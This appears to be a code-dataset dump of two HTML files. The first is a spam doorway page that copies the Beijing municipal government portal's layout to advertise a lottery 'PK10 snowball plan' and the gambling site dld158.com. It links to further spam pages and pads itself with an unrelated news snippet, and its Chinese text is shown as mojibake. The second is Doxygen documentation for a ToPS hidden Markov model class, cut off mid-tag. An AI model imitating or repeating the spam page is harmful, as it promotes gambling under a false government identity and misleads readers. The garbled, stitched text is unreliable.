code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
3
942
language
stringclasses
30 values
license
stringclasses
15 values
size
int32
3
1.05M
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="description" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®»¶Ó­´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨" /> <title>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®_±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®-dld158ÓéÀÖ{°Ù¶ÈÐÂÎÅ}°Ù¶ÈÈÏÖ¤</title> <!--ÈÈÁ¦Í¼¿ªÊ¼--> <meta name="uctk" content="enabled"> <!--ÈÈÁ¦Í¼½áÊø--> <meta name="keywords" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®"/> <meta name="description" content="»¶Ó­´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨"/> <meta name="sitename" content="Ê×¶¼Ö®´°-±±¾©ÊÐÕþÎñÃÅ»§ÍøÕ¾"> <meta name="siteurl" content="http://www.beijing.gov.cn"> <meta name="district" content="±±¾©" > <meta name="filetype" content="0"> <meta name="publishedtype" content="1"> <meta name="pagetype" content="2"> <meta name="subject" content="28428;1"> <!-- Le styles --> <link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap150609.css" rel="stylesheet"> <link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap-responsive150609.css" rel="stylesheet"> <style> body { background:#E8E8E8; /* 60px to make the container go all the way to the bottom of the topbar */ } .navbar .btn-navbar { position:absolute; right:0; margin-top:50px;} #othermessage p {width:50%;} #othermessage dl { width:50%;} #breadcrumbnav ul { width:100%;} #breadcrumbnav ul li { line-height:14px; font-family:"ËÎÌå"; padding:0px 10px; margin:0; background:none; } #othermessage span { padding:0px 10px;} #footer { margin:20px -20px 0px -20px;} .navbar .nav li a { font-family:"Microsoft YaHei";} #div_zhengwen { font-family:"SimSun";} #div_zhengwen p{ font-family:"SimSun"; padding:0;} select { width:75px; float:left; height:35px;} .search .input{ border:1px solid #c1c1c1; width:290px;} .bdsharebuttonbox { float:left; width:80%;} .navbar .nav li a { padding: 10px 48px 11px 49px;} .nav_weather span { float:right;} #footer { position:absolute; left:0; right:0; margin:20px 0 0 0;} #essaybottom {font-family:"simsun"; } #pic { text-align:center; } #pic ul { padding-top:10px; display:none; } #pic li {font-family:"SimSun";} .content_text h1 {line-height:150%;} .version { float:right; padding:48px 50px 0 0} .search { padding: 50px 0 0 70px;} .nav_weather a { font-family:simsun;} .version li a { font-family:simsun;} .footer-class { font-family:simsun;} @media only screen and (max-width: 480px) { #pic img { width:100%;} } @media only screen and (max-width: 320px) { #pic img { width:100%;} } @media only screen and (max-width: 640px) { #pic img { width:100%;} } #filerider .filelink {font-family:"SimSun";} #filerider .filelink a:link { color:#0000ff; font-family:"SimSun";} </style> <script type="text/javascript"> var pageName = "t1424135"; var pageExt = "htm"; var pageIndex = 0 + 1; var pageCount = 1; function getCurrentPage() { document.write(pageIndex); } function generatePageList() { for (i=0;i<1;i++) { var curPage = i+1; document.write('<option value=' + curPage); if (curPage == pageIndex) document.write(' selected'); document.write('>' + curPage + '</option>'); } } function preVious(n) { if (pageIndex == 1) { alert('ÒѾ­ÊÇÊ×Ò³£¡'); } else { getPageLocation(pageIndex-1); } } function next(n) { if (pageIndex == pageCount) { alert('ÒѾ­ÊÇβҳ£¡'); } else { nextPage(pageIndex); } } function nextPage(page) { var gotoPage = ""; if (page == 0) { gotoPage = pageName + "." + pageExt; } else { gotoPage = pageName + "_" + page + "." + pageExt; } location.href = gotoPage; } function getPageLocation(page) { var gotoPage = ""; var tpage; if (page == 1) { gotoPage = pageName + "." + pageExt; } else { tpage=page-1; gotoPage = pageName + "_" + tpage + "." + pageExt; } location.href = gotoPage; } </script> <SCRIPT type=text/javascript> function $(xixi) { return document.getElementById(xixi); } //ת»»×ֺŠfunction doZoom(size){ if(size==12){ $("contentText").style.fontSize = size + "px"; $("fs12").style.display = ""; $("fs14").style.display = "none"; $("fs16").style.display = "none"; } if(size==14){ $("contentText").style.fontSize = size + "px"; $("fs12").style.display = "none"; $("fs14").style.display = ""; $("fs16").style.display = "none"; } if(size==16){ $("contentText").style.fontSize = size + "px"; $("fs12").style.display = "none"; $("fs14").style.display = "none"; $("fs16").style.display = ""; } } </SCRIPT> <!-- Le HTML5 shim, for IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> <!-- Le fav and touch icons --> <link rel="shortcut icon" href="images/favicon.ico"> <link rel="apple-touch-icon" href="images/apple-touch-icon.png"> <link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png"> <script type="text/javascript"> window.onload = function(){ var picurl = [ "", "", "", "", "", "", "", "", "", "" ]; var i=0; for(i=0;i<picurl.length;i++) { picurl[i].index=i; if(picurl[i]!="") { document.getElementById("pic_"+i).style.display = "block"; } } } </script> </head> <body> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="nav_weather"> <div class="container"><a href="http://zhengwu.beijing.gov.cn/sld/swld/swsj/t1232150.htm" title="ÊÐί" target="_blank">ÊÐί</a> | <a href="http://www.bjrd.gov.cn/" title="ÊÐÈË´ó" target="_blank">ÊÐÈË´ó</a> | <a href="http://www.beijing.gov.cn/" title="ÊÐÕþ¸®" target="_blank">ÊÐÕþ¸®</a> | <a href="http://www.bjzx.gov.cn/" title="ÊÐÕþЭ" target="_blank">ÊÐÕþЭ</a></div> </div> <div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <div class="span12"> <a class="brand" href="http://www.beijing.gov.cn/"><img src="http://www.beijing.gov.cn/images/zhuanti/xysym/logo.png" /></a> <div class="search"> <script language="JavaScript" type="text/javascript"> function checkForm(){ var temp = searchForm.temp.value; var database = searchForm.database.value; if(temp==null || temp==""){ alert("ÇëÊäÈëËÑË÷Ìõ¼þ"); } else{ var url="http://so.beijing.gov.cn/Query?qt="+encodeURIComponent(temp)+"&database="+encodeURIComponent(database); window.open(url); } return false; } </script> <form id="search" method="get" name="searchForm" action="" target="_blank" onSubmit="return checkForm()"> <input type="hidden" value="bj" id="database" name="database" /> <input name="temp" id="keyword" type="text" value="È«ÎÄËÑË÷" class="input" title="È«ÎÄËÑË÷¹Ø¼ü×Ö" /> <input id="searchbutton" type="image" src="http://www.beijing.gov.cn/images/zhuanti/xysym/search_btn.gif" width="66" height="35" title="µã»÷ËÑË÷" alt="ËÑË÷" /> </form> </div> <div class="version"><ul> <li><a title="ÎÞÕϰ­" href="http://wza.beijing.gov.cn/" target="_blank" id="yx_style_nav">ÎÞÕϰ­</a></li> <li><a target="_blank" title="·±Ìå°æ" href="http://210.75.193.158/gate/big5/www.beijing.gov.cn">·±Ìå</a></li> <li><a target="_blank" title="¼òÌå°æ" href="http://www.beijing.gov.cn">¼òÌå</a></li> <li class="last"><a target="_blank" title="English Version" href="http://www.ebeijing.gov.cn">English</a></li></ul><ul> <li><a href="javascript:void(0)" onclick="SetHome(this,window.location)" title="ÉèΪÊ×Ò³">ÉèΪÊ×Ò³</a></li> <li><a title="¼ÓÈëÊÕ²Ø" href="javascript:void(0)" onclick="shoucang(document.title,window.location)">¼ÓÈëÊÕ²Ø</a></li> <li class="last"><a target="_blank" title="ÒÆ¶¯°æ" href="http://www.beijing.gov.cn/sjbsy/">ÒÆ¶¯°æ</a></li></ul></div> </div> </div> <div class="nav-collapse"> <div class="container"> <ul class="nav"> <li ><a href="http://www.beijing.gov.cn/" class="normal" title="Ê×Ò³">Ê×Ò³</a></li> <li><a href="http://zhengwu.beijing.gov.cn/" class="normal" title="ÕþÎñÐÅÏ¢">ÕþÎñÐÅÏ¢</a></li> <li><a href="http://www.beijing.gov.cn/sqmy/default.htm" class="normal" title="ÉçÇéÃñÒâ">ÉçÇéÃñÒâ</a></li> <li><a href="http://banshi.beijing.gov.cn" class="normal" title="ÕþÎñ·þÎñ">ÕþÎñ·þÎñ</a></li> <li><a href="http://www.beijing.gov.cn/bmfw" class="normal" title="±ãÃñ·þÎñ">±ãÃñ·þÎñ</a></li> <li style="background:none;"><a href="http://www.beijing.gov.cn/rwbj/default.htm" class="normal" title="ÈËÎı±¾©">ÈËÎı±¾©</a></li> </ul> </div> </div><!--/.nav-collapse --> </div> </div> </div> <div class="container" style="background:#fff; margin-top:24px;"> <div class="content_text"> <div id="breadcrumbnav"> <ul> <li>Ê×Ò³¡¡>¡¡±ãÃñ·þÎñ¡¡>¡¡×îÐÂÌáʾ</li> </ul> <div class="clearboth"></div> </div> <h1>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® <div id="othermessage"> <p> <span>À´Ô´£º±±¾©ÈÕ±¨</span> <span>ÈÕÆÚ£º2017-04-21 01:19:50</span></p> <dl> <script language='JavaScript' type="text/javascript"> function changeSize(size){document.getElementById('div_zhengwen').style.fontSize=size+'px'}</script> ¡¾×ÖºÅ&nbsp;&nbsp;<a href='javascript:changeSize(18)' style="font-size:16px;">´ó</a>&nbsp;&nbsp;<a href='javascript:changeSize(14)' style="font-size:14px;">ÖÐ</a>&nbsp;&nbsp;<a href='javascript:changeSize(12)' style="font-size:12px;">С</a>¡¿</dl> </div> </h1> <div id="div_zhengwen"> <div id="pic"> <ul id="pic_0"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_1"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_2"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_3"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_4"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_5"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_6"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_7"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_8"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_9"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> </div> <div class=TRS_Editor><p align="justify">¡¡¡¡±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® »¶Ó­´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨</p> <img src="{img}" width="300" height="330"/> <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q1471642.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q6392075.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q132581.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q936362.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q543274.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® <p align="justify">¡¡¡¡<p>¡¡¡¡°ÍÀ軪ÇÈÁõÉÙÒ¢Ãü°¸·¢Éú48Сʱ֮ºó£¬·¢½Í³Ì¶ÈÁîÈ˾ªÑÈ¡£ËØÀ´ÒԵ͵÷ÒþÈÌÖø³ÆµÄÂ÷¨»ªÈË£¬ÒòΪһλ¸¸Ç×Ö®ËÀ£¬Á¬ÐøÁ½Ìì×ßÉϽÖÍ·£¬ÉõÖÁͬ·¨¹ú¾¯·½·¢Éú±©Á¦³åÍ»£¬Ë¢ÐÂÁËÍâ½çµÄ¹Û¸Ð¡£Ëæ×Źٷ½µÄ½éÈëºÍÃñ¼äµÄʩѹ£¬Ê¼þÓÐÍûÔÚÒ»¸ö½Ï¸ß²ã¼¶Éϵõ½ÖØÊӺͽâ¾ö¡£µ«Óë´Ëͬʱ£¬ÆäÖÐÕÛÉä³öÀ´µÄÁîÈ˲»°²Ö®´¦¡¢ÒÔ¼°±»ÕڱεÄϸ΢֮´¦£¬Ò²ÖµµÃº£ÄÚÍâÕû¸ö»ªÈËȺÌåµÄ¸ñÍâÖØÊÓ¡£</p> <div align="center"><img src="http://photocdn.sohu.com/20170329/Img485385772.jpeg" alt="µ±µØÊ±¼ä2017Äê3ÔÂ28ÈÕ£¬·¨¹ú°ÍÀ裬ÑÇÒáȺÌåÔÚ°ÍÀè19Çø¾¯²ì¾ÖÍ⼯»á¿¹Òé¡£¾ÝϤ£¬µ±µØÊ±¼ä26ÈÕÍí£¬Ò»ÃûÂ÷¨»ªÇÈÔÚ°ÍÀè¼ÒÖб»·¨¹ú±ãÒ¾¯²ì¿ªÇ¹Éäɱ£¬Êº󣬲¿·ÖʾÍþÕßǰÍù¾¯¾Ö¿¹Ò飬Ó뾯·½·¢Éú³åÍ»£¬µ±¾Ö³Æ35ÃûʾÍþÕß±»´þ²¶£¬3Ãû¾¯²ìÊÜÉË¡£¶«·½IC ͼ" width="595" height="397" align="middle" border="1" /</p></div> <div id="filerider"> <div class="filelink" style="margin:10px 0 0 0;"><a href="./P020160207382291268334.doc">¸½¼þ£º2016Äê±±¾©µØÇø²©Îï¹Ý´º½ÚϵÁлһÀÀ±í</a></div> </div> </div> <div id="essaybottom" style="border:0; overflow:hidden; margin-bottom:0;"> <div style="padding-bottom:8px;" id="proclaim"><p style="float:left; line-height:30px;">·ÖÏíµ½£º</p><div class="bdsharebuttonbox"><a href="#" class="bds_more" data-cmd="more"></a><a href="#" class="bds_qzone" data-cmd="qzone"></a><a href="#" class="bds_tsina" data-cmd="tsina"></a><a href="#" class="bds_tqq" data-cmd="tqq"></a><a href="#" class="bds_renren" data-cmd="renren"></a><a href="#" class="bds_weixin" data-cmd="weixin"></a></div> <script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdPic":"","bdStyle":"0","bdSize":"16"},"share":{},"image":{"viewList":["qzone","tsina","tqq","renren","weixin"],"viewText":"·ÖÏíµ½£º","viewSize":"16"},"selectShare":{"bdContainerClass":null,"bdSelectMiniList":["qzone","tsina","tqq","renren","weixin"]}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script></div> </div> <div id="essaybottom" style="margin-top:0;"> <div style="padding-bottom:8px;" id="proclaim">תժÉùÃ÷£º×ªÕªÇë×¢Ã÷³ö´¦²¢×ö»ØÁ´</div> </div> </div> </div> <!-- /container --> <div id="footer"> <div class="container"> <div class="span1" style="text-align:center"><script type="text/javascript">document.write(unescape("%3Cspan id='_ideConac' %3E%3C/span%3E%3Cscript src='http://dcs.conac.cn/js/01/000/0000/60429971/CA010000000604299710004.js' type='text/javascript'%3E%3C/script%3E"));</script></div> <div class="span8"> <div class="footer-top"> <div class="footer-class"> <p> <a title="¹ØÓÚÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306339.htm" style=" background:0">¹ØÓÚÎÒÃÇ</a><a target="_blank" title="Õ¾µãµØÍ¼" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306342.htm">Õ¾µãµØÍ¼</a><a target="_blank" title="ÁªÏµÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306343.htm">ÁªÏµÎÒÃÇ</a><a target="_blank" title="ÆÀ¼ÛÊ×¶¼Ö®´°" href="mailto:[email protected]">ÆÀ¼ÛÊ×¶¼Ö®´°</a><a target="_blank" title="·¨ÂÉÉùÃ÷" href="http://www.beijing.gov.cn/zdxx/t709204.htm">·¨ÂÉÉùÃ÷</a> </p> <p>Ö÷°ì£º±±¾©ÊÐÈËÃñÕþ¸® °æÈ¨ËùÓга죺±±¾©Êо­¼ÃºÍÐÅÏ¢»¯Î¯Ô±»á ¾©ICP±¸05060933ºÅ ÔËÐйÜÀí£ºÊ×¶¼Ö®´°ÔËÐйÜÀíÖÐÐÄ</p> <p>¾©¹«Íø°²±¸ 110105000722 µØÖ·£º±±¾©Êг¯ÑôÇø±±³½Î÷·Êý×Ö±±¾©´óÏÃÄϰ˲㠴«Õ棺84371700 ¿Í·þÖÐÐĵ绰£º59321109</p> </div> </div> </div> </div> </div> <div style="display:none"> <script type="text/javascript">document.write(unescape("%3Cscript src='http://yhfx.beijing.gov.cn/webdig.js?z=12' type='text/javascript'%3E%3C/script%3E"));</script> <script type="text/javascript">wd_paramtracker("_wdxid=000000000000000000000000000000000000000000")</script> </div> <script src="http://static.gridsumdissector.com/js/Clients/GWD-800003-C99186/gs.js" language="JavaScript"></script> <script type="text/javascript"> // ÉèÖÃΪÖ÷Ò³ function SetHome(obj,vrl){ try{ obj.style.behavior='url(#default#homepage)';obj.setHomePage(vrl); } catch(e){ if(window.netscape) { try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); } catch (e) { alert("´Ë²Ù×÷±»ä¯ÀÀÆ÷¾Ü¾ø£¡\nÇëÔÚä¯ÀÀÆ÷µØÖ·À¸ÊäÈë¡°about:config¡±²¢»Ø³µ\nÈ»ºó½« [signed.applets.codebase_principal_support]µÄÖµÉèÖÃΪ'true',Ë«»÷¼´¿É¡£"); } var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch); prefs.setCharPref('browser.startup.homepage',vrl); }else{ alert("ÄúµÄä¯ÀÀÆ÷²»Ö§³Ö£¬Çë°´ÕÕÏÂÃæ²½Öè²Ù×÷£º1.´ò¿ªä¯ÀÀÆ÷ÉèÖá£2.µã»÷ÉèÖÃÍøÒ³¡£3.ÊäÈ룺"+vrl+"µã»÷È·¶¨¡£"); } } } // ¼ÓÈëÊÕ²Ø ¼æÈÝ360ºÍIE6 function shoucang(sTitle,sURL) { try { window.external.addFavorite(sURL, sTitle); } catch (e) { try { window.sidebar.addPanel(sTitle, sURL, ""); } catch (e) { alert("¼ÓÈëÊÕ²ØÊ§°Ü£¬ÇëʹÓÃCtrl+D½øÐÐÌí¼Ó"); } } } </script> <!-- Le javascript ================================================== --> <!-- Placed at the end of the document so the pages load faster --> <script src="/images/zhuanti/xysym/jquery.js"></script> <script src="/images/zhuanti/xysym/bootstrap-collapse.js"></script> <script> $(document).ready(function(){ $(".ui-select").selectWidget({ change : function (changes) { return changes; }, effect : "slide", keyControl : true, speed : 200, scrollHeight : 250 }); }); </script> </body> </html>
ForAEdesWeb/AEW25
logs/meng/q149395.html
HTML
gpl-2.0
17,778
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>ToPS: tops::GeneralizedHiddenMarkovModel Class Reference</title> <link href="../../tabs.css" rel="stylesheet" type="text/css"/> <link href="../../doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">ToPS </div> </td> </tr> </tbody> </table> </div> <!-- Generated by Doxygen 1.8.0 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="../../index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="../../annotated.html"><span>Classes</span></a></li> <li><a href="../../files.html"><span>Files</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="../../annotated.html"><span>Class&#160;List</span></a></li> <li><a href="../../hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="../../functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><b>tops</b> </li> <li class="navelem"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html">GeneralizedHiddenMarkovModel</a> </li> </ul> </div> </div> <div class="header"> <div class="summary"> <a href="classtops_1_1GeneralizedHiddenMarkovModel.html#pub-methods">Public Member Functions</a> </div> <div class="headertitle"> <div class="title">tops::GeneralizedHiddenMarkovModel Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>This is a class representing Hidden semi-Markov Models. <a href="classtops_1_1GeneralizedHiddenMarkovModel.html#details">More...</a></p> <p><code>#include &lt;<a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html">GeneralizedHiddenMarkovModel.hpp</a>&gt;</code></p> <div class="dynheader"> Inheritance diagram for tops::GeneralizedHiddenMarkovModel:</div> <div class="dyncontent"> <div class="center"> <img src="classtops_1_1GeneralizedHiddenMarkovModel.png" usemap="#tops::GeneralizedHiddenMarkovModel_map" alt=""/> <map id="tops::GeneralizedHiddenMarkovModel_map" name="tops::GeneralizedHiddenMarkovModel_map"> <area href="../../d6/db0/classtops_1_1DecodableModel.html" title="Interface defining probabilistic model with the viterbi, forward and backward algorithm." alt="tops::DecodableModel" shape="rect" coords="0,56,227,80"/> <area href="../../d4/d17/classtops_1_1ProbabilisticModel.html" title="This is an abstract class representing a generative probabilistic model." alt="tops::ProbabilisticModel" shape="rect" coords="0,0,227,24"/> </map> </div></div> <p><a href="../../d2/d61/classtops_1_1GeneralizedHiddenMarkovModel-members.html">List of all members.</a></p> <table class="memberdecls"> <tr><td colspan="2"><h2><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a33c4191729b2beb37b1c900a823851cc"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a33c4191729b2beb37b1c900a823851cc"></a> virtual double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a33c4191729b2beb37b1c900a823851cc">forward</a> (const Sequence &amp;s, Matrix &amp;alpha) const </td></tr> <tr class="memdesc:a33c4191729b2beb37b1c900a823851cc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Forward algorithm. <br/></td></tr> <tr class="memitem:a1eb58c78c5338217e19ffe222643db21"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a1eb58c78c5338217e19ffe222643db21"></a> virtual double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a1eb58c78c5338217e19ffe222643db21">backward</a> (const Sequence &amp;s, Matrix &amp;beta) const </td></tr> <tr class="memdesc:a1eb58c78c5338217e19ffe222643db21"><td class="mdescLeft">&#160;</td><td class="mdescRight">Backward algorithm. <br/></td></tr> <tr class="memitem:a3d79218bc61085d3c26145709f0a128e"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a3d79218bc61085d3c26145709f0a128e"></a> virtual double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a3d79218bc61085d3c26145709f0a128e">viterbi</a> (const Sequence &amp;s, Sequence &amp;path, Matrix &amp;gamma) const </td></tr> <tr class="memdesc:a3d79218bc61085d3c26145709f0a128e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Viterbi algorithm. <br/></td></tr> <tr class="memitem:abb20e8b6109fb2e677a84c14a4cd4b1b"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="abb20e8b6109fb2e677a84c14a4cd4b1b"></a> virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#abb20e8b6109fb2e677a84c14a4cd4b1b">choosePath</a> (const Sequence &amp;s, Sequence &amp;path)</td></tr> <tr class="memdesc:abb20e8b6109fb2e677a84c14a4cd4b1b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Choose a path given a sequence_length. <br/></td></tr> <tr class="memitem:afaec4f19a5ff7fd0102b9dd9ea69a923"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="afaec4f19a5ff7fd0102b9dd9ea69a923"></a> virtual double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#afaec4f19a5ff7fd0102b9dd9ea69a923">_viterbi</a> (const Sequence &amp;s, Sequence &amp;path, Matrix &amp;gamma) const </td></tr> <tr class="memdesc:afaec4f19a5ff7fd0102b9dd9ea69a923"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inefficient Viterbi algorithm. <br/></td></tr> <tr class="memitem:ad2d2afe710eb6e0527b817b8bb6363d2"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ad2d2afe710eb6e0527b817b8bb6363d2"></a> virtual Sequence &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#ad2d2afe710eb6e0527b817b8bb6363d2">chooseObservation</a> (Sequence &amp;h, int i, int state) const </td></tr> <tr class="memdesc:ad2d2afe710eb6e0527b817b8bb6363d2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Choose the observation given a state. <br/></td></tr> <tr class="memitem:a0b7757d5ee7c360f849bedcc7260fd98"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a0b7757d5ee7c360f849bedcc7260fd98"></a> virtual int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a0b7757d5ee7c360f849bedcc7260fd98">chooseState</a> (int state) const </td></tr> <tr class="memdesc:a0b7757d5ee7c360f849bedcc7260fd98"><td class="mdescLeft">&#160;</td><td class="mdescRight">Choose a state. <br/></td></tr> <tr class="memitem:a1ac923173df8a4560410950aca78ecdb"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a1ac923173df8a4560410950aca78ecdb"></a> virtual int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a1ac923173df8a4560410950aca78ecdb">chooseFirstState</a> () const </td></tr> <tr class="memdesc:a1ac923173df8a4560410950aca78ecdb"><td class="mdescLeft">&#160;</td><td class="mdescRight">Choose the initial state. <br/></td></tr> <tr class="memitem:a981f8d1a88178cedc2fe5eb117e22621"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a981f8d1a88178cedc2fe5eb117e22621"></a> virtual DiscreteIIDModelPtr&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a981f8d1a88178cedc2fe5eb117e22621">getInitialProbabilities</a> () const </td></tr> <tr class="memdesc:a981f8d1a88178cedc2fe5eb117e22621"><td class="mdescLeft">&#160;</td><td class="mdescRight">Choose the initial state. <br/></td></tr> <tr class="memitem:ae435d1375c670f572945ba048a0148ee"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ae435d1375c670f572945ba048a0148ee"></a> virtual std::string&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#ae435d1375c670f572945ba048a0148ee">getStateName</a> (int state) const </td></tr> <tr class="memdesc:ae435d1375c670f572945ba048a0148ee"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get state name. <br/></td></tr> <tr class="memitem:a26d11f66887c48358545d915bc35d8a5"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a26d11f66887c48358545d915bc35d8a5"></a> virtual AlphabetPtr&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a26d11f66887c48358545d915bc35d8a5">getStateNames</a> () const </td></tr> <tr class="memdesc:a26d11f66887c48358545d915bc35d8a5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Get the state names. <br/></td></tr> <tr class="memitem:a387368f3e1252d25946ef6674f3a5bac"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a387368f3e1252d25946ef6674f3a5bac"></a> virtual std::string&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a387368f3e1252d25946ef6674f3a5bac">model_name</a> () const </td></tr> <tr class="memdesc:a387368f3e1252d25946ef6674f3a5bac"><td class="mdescLeft">&#160;</td><td class="mdescRight">returns the model name <br/></td></tr> <tr class="memitem:abe8fc6da1ca28a2d078fef4022162513"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="abe8fc6da1ca28a2d078fef4022162513"></a> virtual std::string&#160;</td><td class="memItemRight" valign="bottom"><a class="el" 